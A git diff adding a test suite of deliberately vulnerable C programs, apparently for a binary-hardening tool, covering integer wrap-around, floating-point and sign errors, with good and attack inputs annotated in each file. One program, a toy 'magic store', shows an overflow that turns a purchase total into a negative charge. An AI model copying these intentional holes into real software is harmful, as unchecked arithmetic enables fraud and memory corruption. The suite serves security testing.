diff --git a/.gitattributes b/.gitattributes index 57ed786577282ad1b08ddc38f825135707297d2c..ef5d21335084bd37497aeddde4d6a6a95ee364e6 100644 --- a/.gitattributes +++ b/.gitattributes @@ -145,6 +145,76 @@ examples/Makefile -text examples/dumbledore.c -text examples/dumbledore_cmd.c -text examples/integerbug.c -text +examples/integerbugs/C1_Number_Handling/CWE_128/FP/Makefile -text +examples/integerbugs/C1_Number_Handling/CWE_128/FP/Makefile.options -text +examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_equals.c -text +examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_sqrt.c -text +examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_square.c -text +examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_equals.c -text +examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_sqrt.c -text +examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_square.c -text +examples/integerbugs/C1_Number_Handling/CWE_128/Makefile -text +examples/integerbugs/C1_Number_Handling/CWE_128/bad.dat -text +examples/integerbugs/C1_Number_Handling/CWE_128/dumbledore_store_wrap_around_error.c -text +examples/integerbugs/C1_Number_Handling/CWE_128/good.dat -text +examples/integerbugs/C1_Number_Handling/CWE_128/wrap_around_error.c -text +examples/integerbugs/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/CVE-2010-1516_CWE_190_SWFTools.docx -text +examples/integerbugs/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/swftools-0.9.1.tar.gz -text +examples/integerbugs/C1_Number_Handling/CWE_190/CWE_190_Example_1_bad.c -text +examples/integerbugs/C1_Number_Handling/CWE_190/CWE_190_Example_2_bad.c -text +examples/integerbugs/C1_Number_Handling/CWE_190/Example2_bad.txt -text +examples/integerbugs/C1_Number_Handling/CWE_190/Example2_good.txt -text +examples/integerbugs/C1_Number_Handling/CWE_190/Example_UVA_good.txt -text +examples/integerbugs/C1_Number_Handling/CWE_190/Makefile -text +examples/integerbugs/C1_Number_Handling/CWE_190/UVA_C1_and_C4.c -text +examples/integerbugs/C1_Number_Handling/CWE_190/bad.dat -text +examples/integerbugs/C1_Number_Handling/CWE_190/data.txt -text +examples/integerbugs/C1_Number_Handling/CWE_190/modular_bug_finding_example_1.c -text +examples/integerbugs/C1_Number_Handling/CWE_190/modular_bug_finding_example_2.c -text +examples/integerbugs/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/CVE-2007-4988_CWE_194_ImageMagick.docx -text +examples/integerbugs/C1_Number_Handling/CWE_194/CVE-2007-4988_CWE_194_ImageMagick/ImageMagick-6.3.4-10.tar.gz -text +examples/integerbugs/C1_Number_Handling/CWE_194/CWE_194_Example_1_bad.c -text +examples/integerbugs/C1_Number_Handling/CWE_194/Makefile -text +examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568-desi.py -text +examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/33568.py -text +examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC.docx -text +examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC-102-Src.zip -text +examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/UltraVNC_105_src.zip -text +examples/integerbugs/C1_Number_Handling/CWE_195/CVE-2009-0388_CWE_195_TightVNC_and_UltraVNC/tightvnc-1.3.9_unixsrc.tar.gz -text +examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_1_bad.c -text +examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_2_bad.c -text +examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_3_bad.c -text +examples/integerbugs/C1_Number_Handling/CWE_195/CWE_195_Example_4_bad.c -text +examples/integerbugs/C1_Number_Handling/CWE_195/Makefile -text +examples/integerbugs/C1_Number_Handling/CWE_195/example4_bad.dat -text svneol=unset#application/octet-stream +examples/integerbugs/C1_Number_Handling/CWE_195/example4_good.dat -text +examples/integerbugs/C1_Number_Handling/CWE_195/gen.cc -text +examples/integerbugs/C1_Number_Handling/CWE_196/CWE_196_Example_1_bad.c -text +examples/integerbugs/C1_Number_Handling/CWE_196/Makefile -text +examples/integerbugs/C1_Number_Handling/CWE_197/CWE_197_Example_1_bad.c -text +examples/integerbugs/C1_Number_Handling/CWE_197/Makefile -text +examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/CVE-2005-2448_CWE_198_EKG.docx -text +examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/Should_have_the_fixes_ekg-1.6rc3.tar.gz -text +examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.5rc2.tar.gz -text +examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.6rc1.tar.gz -text +examples/integerbugs/C1_Number_Handling/CWE_198/Makefile -text +examples/integerbugs/C1_Number_Handling/CWE_198/use_of_incorrect_byte_order.c -text +examples/integerbugs/C1_Number_Handling/CWE_369/CWE_369_Example_1_bad.c -text +examples/integerbugs/C1_Number_Handling/CWE_369/CWE_369_Example_1_good.c -text +examples/integerbugs/C1_Number_Handling/CWE_369/Makefile -text +examples/integerbugs/C1_Number_Handling/CWE_682/CWE_682_Example_1_bad.c -text +examples/integerbugs/C1_Number_Handling/CWE_682/CWE_682_Example_3_bad.c -text +examples/integerbugs/C1_Number_Handling/CWE_682/Makefile -text +examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.c -text +examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.conf -text +examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ncexe -text +examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ncexe.conf -text +examples/integerbugs/C1_Number_Handling/CWE_839/CWE_839_Example_1_bad.ps_analyze.log -text +examples/integerbugs/C1_Number_Handling/CWE_839/Makefile -text +examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/a.ncexe -text +examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/a.stratafied -text +examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/logs/stratafy_with_pc_confine.log -text +examples/integerbugs/C1_Number_Handling/CWE_839/peasoup_executable_directory.CWE_839_Example_1_bad.ncexe.6585/stratafier.o.exe -text examples/ls_manual_tests.sh -text examples/mul/generate_cprogs.sh -text examples/mul/mul.ctmpl -text diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..8bb9248474cfba05dd8c252790f982291fbca71b --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/Makefile @@ -0,0 +1,93 @@ +# DO NOT EDIT - This Makefile automatically generated +include ../../../Makefile.options +include $(wildcard Makefile.options) + +all: runall + +test: + ../../../../scripts/test.pl $(TESTFLAGS) . + +dbl_equals.ncexe: dbl_equals.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >dbl_equals.conf + +dbl_equals: dbl_equals.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee dbl_equals.ps_analyze.log + cp dbl_equals.conf dbl_equals.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> dbl_equals.conf + +dbl_equals.run: dbl_equals + ../../../../scripts/test.pl $(TESTFLAGS) dbl_equals.ncexe + +dbl_sqrt.ncexe: dbl_sqrt.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >dbl_sqrt.conf + +dbl_sqrt: dbl_sqrt.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee dbl_sqrt.ps_analyze.log + cp dbl_sqrt.conf dbl_sqrt.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> dbl_sqrt.conf + +dbl_sqrt.run: dbl_sqrt + ../../../../scripts/test.pl $(TESTFLAGS) dbl_sqrt.ncexe + +dbl_square.ncexe: dbl_square.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >dbl_square.conf + +dbl_square: dbl_square.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee dbl_square.ps_analyze.log + cp dbl_square.conf dbl_square.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> dbl_square.conf + +dbl_square.run: dbl_square + ../../../../scripts/test.pl $(TESTFLAGS) dbl_square.ncexe + +fp_equals.ncexe: fp_equals.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >fp_equals.conf + +fp_equals: fp_equals.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee fp_equals.ps_analyze.log + cp fp_equals.conf fp_equals.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> fp_equals.conf + +fp_equals.run: fp_equals + ../../../../scripts/test.pl $(TESTFLAGS) fp_equals.ncexe + +fp_sqrt.ncexe: fp_sqrt.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >fp_sqrt.conf + +fp_sqrt: fp_sqrt.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee fp_sqrt.ps_analyze.log + cp fp_sqrt.conf fp_sqrt.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> fp_sqrt.conf + +fp_sqrt.run: fp_sqrt + ../../../../scripts/test.pl $(TESTFLAGS) fp_sqrt.ncexe + +fp_square.ncexe: fp_square.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >fp_square.conf + +fp_square: fp_square.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee fp_square.ps_analyze.log + cp fp_square.conf fp_square.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> fp_square.conf + +fp_square.run: fp_square + ../../../../scripts/test.pl $(TESTFLAGS) fp_square.ncexe + +clean: + rm -f dbl_equals.ncexe dbl_sqrt.ncexe dbl_square.ncexe fp_equals.ncexe fp_sqrt.ncexe fp_square.ncexe + rm -f dbl_equals dbl_sqrt dbl_square fp_equals fp_sqrt fp_square + rm -f summary.csv logfail.txt logfile.txt dbl_equals.asm dbl_equals.idb dbl_equals.ncexe* stratafier.o.exe *.conf dbl_sqrt.asm dbl_sqrt.idb dbl_sqrt.ncexe* stratafier.o.exe *.conf dbl_square.asm dbl_square.idb dbl_square.ncexe* stratafier.o.exe *.conf fp_equals.asm fp_equals.idb fp_equals.ncexe* stratafier.o.exe *.conf fp_sqrt.asm fp_sqrt.idb fp_sqrt.ncexe* stratafier.o.exe *.conf fp_square.asm fp_square.idb fp_square.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log + rm -rf peasoup_executable_directory* + +targets: dbl_equals.ncexe dbl_sqrt.ncexe dbl_square.ncexe fp_equals.ncexe fp_sqrt.ncexe fp_square.ncexe + +analyze: targets dbl_equals dbl_sqrt dbl_square fp_equals fp_sqrt fp_square + +runall: dbl_equals.run dbl_sqrt.run dbl_square.run fp_equals.run fp_sqrt.run fp_square.run + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/Makefile.options b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/Makefile.options new file mode 100644 index 0000000000000000000000000000000000000000..de569821ca7c0e3d876ef4f36bb73bf6d0167397 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/Makefile.options @@ -0,0 +1 @@ +LINKOPT += -lm diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_equals.c b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_equals.c new file mode 100644 index 0000000000000000000000000000000000000000..65d233b6590038a0312742bf4337dda4b51db794 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_equals.c @@ -0,0 +1,37 @@ +// Test of doubleing point overflow + +/* +@GOOD_ARGS 123.0 1.0 +@NORMAL_OUTPUT_CONTAINS 1 +@BAD_ARGS 123.0 119.0 +@ATTACK_SUCCEEDED_OUTPUT_CONTAINS 0 +*/ + +#include <stdlib.h> +#include <stdio.h> + +int equals(double x, double y) +{ + return (x == y); +} + + +int main(int argc, char **argv) +{ + if (argc <= 2) + { + printf ("Usage: prog N divisor\n"); + exit(2); + } + + double x = atof(argv[1]); + double y = x; + + double z = atof(argv[2]); + + y /= z; + y *= z; + + printf("%d\n", equals(x,y)); + exit(0); +} diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_sqrt.c b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_sqrt.c new file mode 100644 index 0000000000000000000000000000000000000000..0d10b05b67cb8109b06296844a51cc5d01654168 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_sqrt.c @@ -0,0 +1,26 @@ +// Test of Sign problems + +/* +@GOOD_ARGS 100.0 +@NORMAL_OUTPUT_CONTAINS 10 +@BAD_ARGS -100 +@ATTACK_SUCCEEDED_OUTPUT_CONTAINS nan +*/ + +#include <stdlib.h> +#include <stdio.h> +#include <math.h> + +double root(double x) +{ + return sqrt(x); +} + + +int main(int argc, char **argv) +{ + double x = atof(argv[1]); + double y = root(x); + printf("%f\n", y); + exit(0); +} diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_square.c b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_square.c new file mode 100644 index 0000000000000000000000000000000000000000..2e89e3e4a630ba78af15d77c43f4f103ff5dc26a --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/dbl_square.c @@ -0,0 +1,25 @@ +// Test of doubleing point overflow + +/* +@GOOD_ARGS 10 +@NORMAL_OUTPUT_CONTAINS e\+02 +@BAD_ARGS 1e200 +@ATTACK_SUCCEEDED_OUTPUT_CONTAINS inf +*/ + +#include <stdlib.h> +#include <stdio.h> + +double square(double x) +{ + return x * x; +} + + +int main(int argc, char **argv) +{ + double x = atof(argv[1]); + double y = square(x); + printf("%e\n", y); + exit(0); +} diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_equals.c b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_equals.c new file mode 100644 index 0000000000000000000000000000000000000000..b69ceff30e5f9e8dbb976b587142b6ec2b103d37 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_equals.c @@ -0,0 +1,40 @@ +// Test of floating point overflow + + +/* +@GOOD_ARGS 123.0 1.0 +@NORMAL_OUTPUT_CONTAINS 1 +@BAD_ARGS 1231223.0123123 119.01123123 +@ATTACK_SUCCEEDED_OUTPUT_CONTAINS 0 +*/ + +#include <stdlib.h> +#include <stdio.h> + +int equals(float x, float y) +{ + return (x == y); +} + + +int main(int argc, char **argv) +{ + if (argc <= 2) + { + printf ("Usage: prog N divisor\n"); + exit(2); + } + + float x = atof(argv[1]); + float y = x; + + float z = atof(argv[2]); + + y /= z; + y += 100000; + y *= z; + y -= 100000; + + printf("%d\n", equals(x,y)); + exit(0); +} diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_sqrt.c b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_sqrt.c new file mode 100644 index 0000000000000000000000000000000000000000..b0dacfaf41b8f4bfe17f759d834d4e1a66adce74 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_sqrt.c @@ -0,0 +1,26 @@ +// Test of Sign problems + +/* +@GOOD_ARGS 100.0 +@NORMAL_OUTPUT_CONTAINS 10 +@BAD_ARGS -100 +@ATTACK_SUCCEEDED_OUTPUT_CONTAINS nan +*/ + +#include <stdlib.h> +#include <stdio.h> +#include <math.h> + +float root(float x) +{ + return sqrtf(x); +} + + +int main(int argc, char **argv) +{ + float x = atof(argv[1]); + float y = root(x); + printf("%f\n", y); + exit(0); +} diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_square.c b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_square.c new file mode 100644 index 0000000000000000000000000000000000000000..965a866ea280a6f857254f384c9c7b928c9312b0 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_128/FP/fp_square.c @@ -0,0 +1,25 @@ +// Test of floating point overflow + +/* +@GOOD_ARGS 10 +@NORMAL_OUTPUT_CONTAINS e\+02 +@BAD_ARGS 1e20 +@ATTACK_SUCCEEDED_OUTPUT_CONTAINS inf +*/ + +#include <stdlib.h> +#include <stdio.h> + +float square(float x) +{ + return x * x; +} + + +int main(int argc, char **argv) +{ + float x = atof(argv[1]); + float y = square(x); + printf("%e\n", y); + exit(0); +} diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_128/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..85aef064af333a47120f1ac9bd3666d88d3e1c6a --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_128/Makefile @@ -0,0 +1,45 @@ +# DO NOT EDIT - This Makefile automatically generated +include ../../Makefile.options +include $(wildcard Makefile.options) + +all: runall + +test: + ../../../scripts/test.pl $(TESTFLAGS) . + +dumbledore_store_wrap_around_error.ncexe: dumbledore_store_wrap_around_error.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >dumbledore_store_wrap_around_error.conf + +dumbledore_store_wrap_around_error: dumbledore_store_wrap_around_error.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee dumbledore_store_wrap_around_error.ps_analyze.log + cp dumbledore_store_wrap_around_error.conf dumbledore_store_wrap_around_error.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> dumbledore_store_wrap_around_error.conf + +dumbledore_store_wrap_around_error.run: dumbledore_store_wrap_around_error + ../../../scripts/test.pl $(TESTFLAGS) dumbledore_store_wrap_around_error.ncexe + +wrap_around_error.ncexe: wrap_around_error.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >wrap_around_error.conf + +wrap_around_error: wrap_around_error.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee wrap_around_error.ps_analyze.log + cp wrap_around_error.conf wrap_around_error.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> wrap_around_error.conf + +wrap_around_error.run: wrap_around_error + ../../../scripts/test.pl $(TESTFLAGS) wrap_around_error.ncexe + +clean: + rm -f dumbledore_store_wrap_around_error.ncexe wrap_around_error.ncexe + rm -f dumbledore_store_wrap_around_error wrap_around_error + rm -f summary.csv logfail.txt logfile.txt dumbledore_store_wrap_around_error.asm dumbledore_store_wrap_around_error.idb dumbledore_store_wrap_around_error.ncexe* stratafier.o.exe *.conf wrap_around_error.asm wrap_around_error.idb wrap_around_error.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log + rm -rf peasoup_executable_directory* + +targets: dumbledore_store_wrap_around_error.ncexe wrap_around_error.ncexe + +analyze: targets dumbledore_store_wrap_around_error wrap_around_error + +runall: dumbledore_store_wrap_around_error.run wrap_around_error.run + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/bad.dat b/examples/integerbugs/C1_Number_Handling/CWE_128/bad.dat new file mode 100644 index 0000000000000000000000000000000000000000..0d6a524ba4bb4d62ff585ceb90c77652523ffb50 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_128/bad.dat @@ -0,0 +1 @@ +1 5 diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/dumbledore_store_wrap_around_error.c b/examples/integerbugs/C1_Number_Handling/CWE_128/dumbledore_store_wrap_around_error.c new file mode 100644 index 0000000000000000000000000000000000000000..b20f24730c3d00f50cbf96b42894ef1e325107f0 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_128/dumbledore_store_wrap_around_error.c @@ -0,0 +1,151 @@ +/* +@GOOD_ARGS <good.dat +@BAD_ARGS <bad.dat +@ATTACK_SUCCEEDED_OUTPUT_CONTAINS Your credit card will be charged \$- + +bjm this example is intended to illustrate wrap around error +this an EXPLOIT that doesn't result in a buffer over flow but is very serous. + +the following is three examples from the listed site. This code was written to illustrate example 1 + +http://projects.webappsec.org/w/page/13246946/Integer-Overflows +1) When calculating a purchase order total, an integer overflow could allow the total to shift from a positive value to a negative one. This would, in effect, give money to the customer in addition to their purchases, when the transaction is completed. + +2) Withdrawing 1 dollar from an account with a balance of 0 could cause an integer underflow and yield a new balance of 4,294,967,295. + +3) A very large positive number in a bank transfer could be cast as a signed integer by a back-end system. In such case, the interpreted value could become a negative number and reverse the flow of money - from a victim's account into the attacker's. + +*/ + +#include <stdio.h> +#include <stdlib.h> +#include <ctype.h> +#ifdef ASSERT +#include <assert.h> +#include <limits.h> +#endif + +int main(int argc, char**argv) +{ + short int price1 = 10000; + short int price2 = 6000; + short int price3 = 10; + short int price4 = 1000; +/*bjm +short signed: -32768 to 32767 +short unsigned: 0 to 65535 +long signed:-2147483648 to 2147483647 (Default unless you're using DOS) +long unsigned: 0 to 4294967295 +*/ + short int selected_item, number_of_items, total_price = 0; + char *item1 = "Dumbledore's Wand"; + char *item2 = "Harry's Wand"; + char *item3 = "Snake Potion"; + char *item4 = "Flying Broom"; + char *selected_item_string = " "; + +/* display store */ +for(;;){ + printf(" Magic store \n\n\n "); + printf("Item 1. %s $=%i\n ", item1, price1); + printf("Item 2. %s $=%i\n ", item2, price2); + printf("Item 3. %s $=%i\n ", item3, price3); + printf("Item 4. %s $=%i\n\n\n ", item4, price4); + printf("Enter the number of the item you wish to purchase = "); + +//get input selected_item + selected_item = getchar(); + selected_item = selected_item - '0'; +//validate input + + if ( (0< selected_item) && (selected_item <5) ){ + break; + } + else{ + printf("\n Invalid entry actual item %i\n",selected_item); + exit(1); + } + +} + + +switch(selected_item){ + case 1: + printf("\nEnter how many %ss do you want = ",item1); + break; + case 2: + printf("\nEnter how many %ss do you want = ",item2); + break; + case 3: + printf("\nEnter how many %ss do you want = ",item3); + break; + case 4: + printf("\nEnter how many %ss do you want = ",item4); + break; + default: + printf("\nError unknown Item \n"); + break; +} +//get input number_of_items + fscanf(stdin,"%hi",&number_of_items); + printf("\n"); + +//woops I forgot to check the inventory or limit the number of items + + +/* multiply number of items * dollar value */ +switch(selected_item){ + case 1: + total_price = number_of_items * price1 ; + selected_item_string = item1; + break; + case 2: + total_price = number_of_items * price2 ; + selected_item_string = item2; + break; + case 3: + total_price = number_of_items * price3 ; + selected_item_string = item3; + break; + case 4: + total_price = number_of_items * price4 ; + selected_item_string = item4; + break; + default: + printf("Error calculating price \n"); + exit(1); + break; +} + +/* display conformation page */ + printf("\n\n Shopping Summary\n\n"); + +/* This is what is charged to your card + if it is -$ it is an exploit + credit cards will gladly go negative + */ +printf("Your credit card will be charged $%i\n\n",total_price); + +/* N items will be shiped to you + if total price is -$ n is probaly a large number of items you will sell on E-bay + */ +printf("You will be shiped %i %ss\n", number_of_items, selected_item_string); + +/* confirm purchase */ +//bjm I didn't bother with a confirmation + +//printf("Do wish to continue with the purchase Y or N \n"); +//get input +//validate Y or N + +printf("\n\nThank you for shoping at the Magic store\n\n"); +/* + charge the credit card + */ + +#ifdef ASSERT +assert( total_price >0 ); +#endif + exit(0); +} + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/good.dat b/examples/integerbugs/C1_Number_Handling/CWE_128/good.dat new file mode 100644 index 0000000000000000000000000000000000000000..2fb73a07ec2d7b737fbb6c160ff8bc78dadb6930 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_128/good.dat @@ -0,0 +1 @@ +1 1 diff --git a/examples/integerbugs/C1_Number_Handling/CWE_128/wrap_around_error.c b/examples/integerbugs/C1_Number_Handling/CWE_128/wrap_around_error.c new file mode 100644 index 0000000000000000000000000000000000000000..c65a29927d266999117aee36ad9782418be4736b --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_128/wrap_around_error.c @@ -0,0 +1,65 @@ +/* +@GOOD_ARGS 123 +@BAD_ARGS 32767 +@ATTACK_SUCCEEDED_CODE 1 + +Wrap-around Error + +Description Summary +Wrap around errors occur whenever a value is incremented past the maximum value for its +type and therefore "wraps around" to a very small, negative, or undefined value. + +Common Consequences +Scope Effect +Availability Wrap-around errors generally lead to undefined behavior, infinite loops, + and therefore crashes. + +Integrity If the value in question is important to data (as opposed to flow), simple + data corruption has occurred. Also, if the wrap around results in other conditions + such as buffer overflows, further memory corruption may occur. + +Integrity A wrap around can sometimes trigger buffer overflows which can be used to + execute arbitrary code. This is usually outside the scope of a program's + implicit security policy. + +Background Details +Due to how addition is performed by computers, if a primitive is incremented past the +maximum value possible for its storage space, the system will not recognize this, and +therefore increment each bit as if it still had extra space. Because of how negative +numbers are represented in binary, primitives interpreted as signed may "wrap" to +very large negative values. + + +*/ + +#include <stdio.h> +#include <stdlib.h> +#ifdef ASSERT +#include <assert.h> +#include <limits.h> +#endif + +int main(int argc, char**argv) +{ + short int i = atoi(argv[1]); + + i++; + printf("%hi\n", i); + printf("%i\n", atoi(argv[1])); +#ifdef ASSERT +/*bjm +short signed: -32768 to 32767 +short unsigned: 0 to 65535 +long signed:-2147483648 to 2147483647 (Default unless you're using DOS) +long unsigned: 0 to 4294967295 +*/ +assert( (atoi(argv[1])<SHRT_MAX) && (atoi(argv[1])>SHRT_MIN-2)); +#endif +/*bjm +This may be training grace. It is also slightly wrong the assert +checks the right range of values acounting for i++ +*/ +if (i < 0) { exit(1); } + exit(0); +} + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/CVE-2010-1516_CWE_190_SWFTools.docx b/examples/integerbugs/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/CVE-2010-1516_CWE_190_SWFTools.docx new file mode 100644 index 0000000000000000000000000000000000000000..6f81e7f3cad63505f8567a5adf6ed0db353b4c2b Binary files /dev/null and b/examples/integerbugs/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/CVE-2010-1516_CWE_190_SWFTools.docx differ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/swftools-0.9.1.tar.gz.REMOVED.git-id b/examples/integerbugs/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/swftools-0.9.1.tar.gz.REMOVED.git-id new file mode 100644 index 0000000000000000000000000000000000000000..55322f91ef79446da3433e28c0c147d9ad40713e --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_190/CVE-2010-1516_CWE_190_SWFTools/swftools-0.9.1.tar.gz.REMOVED.git-id @@ -0,0 +1 @@ +387f798ca63553458caca123ad12c173ec4ceb52 \ No newline at end of file diff --git a/examples/integerbugs/C1_Number_Handling/CWE_190/CWE_190_Example_1_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_190/CWE_190_Example_1_bad.c new file mode 100644 index 0000000000000000000000000000000000000000..b42f9e0c68c3e47e2bdca82cb1d1e2ffcfef7425 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_190/CWE_190_Example_1_bad.c @@ -0,0 +1,78 @@ +/* +Integer Overflow or Wraparound + + +Description Summary +The software performs a calculation that can produce an integer overflow or wraparound, +when the logic assumes that the resulting value will always be larger than the original +value. This can introduce other weaknesses when the calculation is used for resource +management or execution control. + +Extended Description +An integer overflow or wraparound occurs when an integer value is incremented to a +value that is too large to store in the associated representation. When this occurs, +the value may wrap to become a very small or negative number. While this may be +intended behavior in circumstances that rely on wrapping, it can have security +consequences if the wrap is unexpected. This is especially the case if the integer +overflow can be triggered using user-supplied inputs. This becomes security-critical +when the result is used to control looping, make a security decision, or determine +the offset or size in behaviors such as memory allocation, copying, concatenation, etc. + +Common Consequences +Scope Effect +Availability Technical Impact: DoS: crash / exit / restart; DoS: resource consumption (CPU) + Integer overflows generally lead to undefined behavior and therefore + crashes. In the case of overflows involving loop index variables, the + likelihood of infinite loops is also high. + +Integrity Technical Impact: Modify memory + If the value in question is important to data (as opposed to flow), + simple data corruption may occur. Also, if the integer overflow results + in a buffer overflow condition, data corruption may take place. + +Access Control +Integrity Technical Impact: Execute unauthorized code or commands + Integer overflows can sometimes trigger buffer overflows which can be + used to execute arbitrary code. This is usually outside the scope of a + program's implicit security policy. + +*/ +/* +Example 1 